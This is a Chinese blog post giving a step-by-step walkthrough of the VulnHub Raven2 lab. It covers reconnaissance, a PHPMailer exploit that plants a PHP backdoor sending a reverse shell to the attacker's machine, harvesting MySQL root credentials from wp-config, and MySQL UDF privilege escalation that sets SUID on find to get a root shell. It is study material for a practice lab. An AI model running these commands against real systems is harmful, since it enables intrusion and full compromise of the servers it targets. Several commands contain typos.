• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
驿般般
博客园    首页    新随笔    联系   管理    订阅  订阅

vulnhub-raven2通关教程

这里我们的靶机IP是192.168.135.137 kali的IP是192.168.135.131

还是那句话扫描网段存活IP才能知道靶机IP

Nmap -sP 192.168.135.0/24

我们知道了靶机IP再扫描开放端口,这里我是打了两遍,我直接登录网址了

这个网址我们点击来点击去没发现有什么可以用的,我们直接遍历后台目录

Dirb http://192.168.135.137

我们发现它重定向到了vendor目录和wordpress目录,一个个枚举

最后我们再vendor下找到了一堆有用的信息,一般来说我们都要看,但是这里是靶场我建议直接看PATH,PHPMaaller,README,VERSION,SECURITY

我们在path下直接获得了flag1,和目录地址,这个地址很重要,是建立反弹shell的exp的.py的运行地址 /var/www/html

我们知道了它是PHPMailer

还知道了他的版本信息,就可以网上看看有没有exp可以用了

我们找到了对应版本的40974的exp,这个是python写的.py文件

我们可以去GitHub上下载对应的exp,也可以看看kali里有没有收录

Searchsploit 40974

Searchsploit -p 40974.py

我们把他放到我们的桌面上,准备修改配置,运行exp,建立监听拿到低权限shell,一般系统漏洞的exp我们才可以拿到root权限的shell,像这类exp一般都是低权限,这可是我逛别人帖子才知道的,太干了

Cp /usr/share/exploitdb/exploits/php/webappa/40974.py /home/kali/桌面

Ok,到这一步一定很蒙吧,这里配置我第一次打的时候也监听不到shell,网站不生成我的.php文件返回shell给我如果你也是这样 一定是下面这里没有配置好。

Target:目标网站,访问这个网站就会生成我们的.php文件

这里一定是/contact,因为你到网站访问时就会发现这里能够输入些什么东西

Backdoor:后门文件就是生成的.php文件会给我们返回shell

这里是你生成的后门文件名我的是yang.php,这里看你喜好喔

往下滑,找到监听的IP和端口,设置为kali的IP和监听端口

再往下找到路径名字,上面我说过你得到了路径地址/var/www/html 你还记得吗?把他修改为/var/www/html/yang.php

这个样就完美了,一共要修改四个地方我列出来

http://192.168.135.137/contact.php

/yang.php

192.168.135.131,6666

/var/www/html/yang.php

下面是修改好的

Ok,回到kali,运行40974.py

Python3 40974.py

建立监听等待生成后门返回shell

Nc -lvp 6666

当你建立监听后,受害者(靶机,这里你自己访问,现实中是别人再次访问)再次访问你设置的网站192.168.135.137/contact.php 时就会生成yang.php文件,它访问yang.php,你就拿到shell了

这里尾shell怎么变成正常shell我肯定会再敲给你,我也记一下,我们查看flag看看有什么

Python -c ‘import pty;pty.spawn(“/bin/bash”)’ 如果你从我的1-3都看了,这个难不倒你了哇

Find / -name flag*

这里我们找到了两个flag,一个cat查看,一个用网页查看,但是你有没有感觉事情远远没有那么简单,虽然都拿了3个flag了,但是你看看旁边的进度条还没到一半呢

我们的目的是为了提权,既然还没提权我们看看配置文件有没有收获一般config文件十分重要,就像你和你兄弟一样

Cat wp-conrig.php

我们可以在这里找到MySQL的账号和密码

账号root 密码R@v3nSecurity

在这里,我先提醒你一句进入MySQL前现在给你的kali拍个快照还不迟(如果你想打第二遍的话)

进入前我们先看看它运行了什么进程,有没有MySQL

Ps aux | gerp root

有,那我们就能利用MySQL提权,你应该了解过udf提权吧,这也是我叫你快照的原因

我们先看看MySQL历史补丁版本,知己知彼才能攻破它

Dpkg -l | grep mysql

我们进入MySQL,看看版本

Mysql -uroot -pR@v3nSecurity

Select version();

查看一下数据库

这里_schma的都是不能动的

Show databases;

我们先看看wordpress

Use wordpress

我们看看他的users表啊,这个一般会有所收获

Select * from wp_users;

这里看到用户和密码,但是用不了啊,这个加密我也没看出是什么加密,我们看看能不能写入东西

Show global variables like ‘secure%’;

这里没有OFF表示我们能够写入些什么让命令获得suid,我们看看plugin的位置,我们等会就把自定义函数放到这,让自定义函数获得执行权限,实现udf提权(哈哈哈,我也是问豆包的,但我知道udf就是用户自定义函数)

Show variables like ‘%plugin%’; 这里提醒一下你,我又打字又打命令给你,有时命令会是中文模式下输出的,但你应该知道应该用英文吧,自己敲一遍错不了

我们看看能不能更简单的提权,用msf

Use mysql;

Select user,host from user;

这里我们可以看到只能本地登录,那msf几乎没戏了,我们就老实用udf吧

Searchsploit udf

我们看到1518.c能用,我们看看kali里有没有收录它,有就方便,没有就去漏洞库拉取

Searchsploit -p 1518.c

把他复制到桌面

Cp /usr/share/exploitdb/exploits/linux/local/1518.c /home/kali/桌面

这里就是将他进行编译,其实图片里有条命令错了,少了原文件,下面的命令才是正确的gcc编译,现在我还是不明白,希望有人看到这明白gcc编译的话能在评论给我解释一下。

正确命令

Gcc -g -c 1518.c

Gcc -g -shared -o yang.so 1518.c -lc

开启服务,让靶机能够访问/home/kali/桌面,能够下载yang.so文件

Python3 -m http.server 8000

这里我又要提醒你一下了,一定是在yang.so目录下开启服务靶机才能下载yang.so

进入/tmp目录,我在说一遍往后就没有那么好的服务了,tmp可以读写执行上传编译,完事后自动清理,谁不喜欢干完事情后自动恢复呀>_<

下载yang.so文件

Wget http://192.168.135.131:8000/yang.so

这里解释一下如果你不是在yang.so目录下开启服务,是无法下载成功的,回到kali上yang.so正确目录下开启服务再来下载

Ok让我们开始提权,进入数据库(前面没有快照咩关系,这里进入数据库是要提权了,快照一下,毕竟现在权限是删除不了修改过后的文件的)

Mysql -uroot -pR@v3nSecurity

Show databases:

Use mysql;

查看表

Show tables;

创建一张表,让它放入yang.so

Create table yang(line blob);

将yang.so下载到yang表

Insert into yang values(load_file(‘/tmp/yang.so’));

这里解释一下,如果你是想再打一次却没有快照的话,yang.so已经写入/usr/lib/mysql/plugin,无法二次,而你的www-data又没有权限删除这个路径下的yang.so,那么你第二次打这个靶场就无法提权,或是说很麻烦。下面就是将yang.so放入plugin下

Select * from yang into dumpfile ‘/usr/lib/mysql/plugin/yang.so’;

告诉plugin创建自定义函数执行yang.so

Create function do_system returns integer soname ‘yang.so’;

检查一下udf注册成功没

Select * from mysql.func;

为0的话说明没有报错,find命令成功打上了suid

Select do_system(‘chmod u+s /usr/bin/find’);

最后返回shell提权

Touch yang

Find yang -exec /bin/sh \;

成功拿到了flag

这里总结一下我的问题,如果你也遇到了希望对你有帮助

1:开启服务时要在文件所在目录下开启才能再Linux上下载

2:进入MySQL使用udf提权前先给kali拍个快照,不然后续再复现就失败了

3:gcc编译命令一定要对,不然就算生成了yang.so也是损坏的,无法提权

posted on 2026-09-16 16:31  驿般般  阅读(13)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2026
浙公网安备 33010602011771号 浙ICP备2021040463号-3